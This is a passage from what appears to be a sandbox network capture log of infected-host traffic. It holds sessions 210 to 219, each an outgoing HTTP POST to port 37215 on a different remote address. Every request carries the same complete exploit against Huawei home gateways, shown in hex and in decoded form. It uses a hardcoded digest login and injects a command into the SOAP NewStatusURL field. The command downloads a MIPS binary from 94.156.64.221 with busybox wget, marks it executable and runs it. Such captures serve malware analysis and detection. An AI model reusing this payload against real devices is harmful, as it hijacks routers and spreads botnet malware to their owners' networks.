Jun 1, 2024 18:15:54.252202034 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
210	192.168.2.23	48832	156.198.87.202	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:54.252243996 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
211	192.168.2.23	52362	156.45.224.43	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:54.252285957 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
212	192.168.2.23	41586	197.22.210.222	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:54.252324104 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
213	192.168.2.23	59700	41.139.183.232	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:54.252357960 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
214	192.168.2.23	53196	156.58.214.28	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:54.252388000 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
215	192.168.2.23	49906	156.113.109.247	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:54.252427101 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
216	192.168.2.23	45594	156.9.236.107	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:54.252468109 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
217	192.168.2.23	49600	197.171.180.102	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:54.252554893 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
218	192.168.2.23	41724	41.87.170.8	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:54.252592087 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
219	192.168.2.23	35458	41.53.249.76	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:54.252650023 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 